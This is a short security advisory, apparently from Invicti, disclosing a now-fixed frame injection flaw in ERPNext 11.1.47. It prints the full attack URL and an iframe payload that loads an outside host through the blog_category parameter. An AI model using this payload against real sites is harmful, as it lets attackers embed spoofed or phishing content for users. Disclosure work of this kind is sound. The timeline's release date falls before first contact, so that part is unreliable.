Information
--------------------

Advisory by Netsparker (now Invicti)
Name: Frame Injection Vulnerability in ERPNext
Affected Software: ERPNext
Affected Versions: 11.1.47
Vendor Homepage: https://erpnext.com/
Vulnerability Type: Frame Injection
Severity: Medium
Status: Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Invicti Advisory Reference: NS-19-018

Technical Details
--------------------

URL: http://{DOMAIN}/blog?blog_category=<iframe%20src="http://r87.com/?"></iframe>
Parameter Name: blog_category
Parameter Type: GET
Attack Pattern: <iframe%20src="http://r87.com/?"></iframe>

For more information on cross-site scripting vulnerabilities read the article Frame Injection Attacks.

Advisory Timeline
--------------------

23rd July 2019 - First Contact
30th July 2019 - Vendor Fixed
6th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.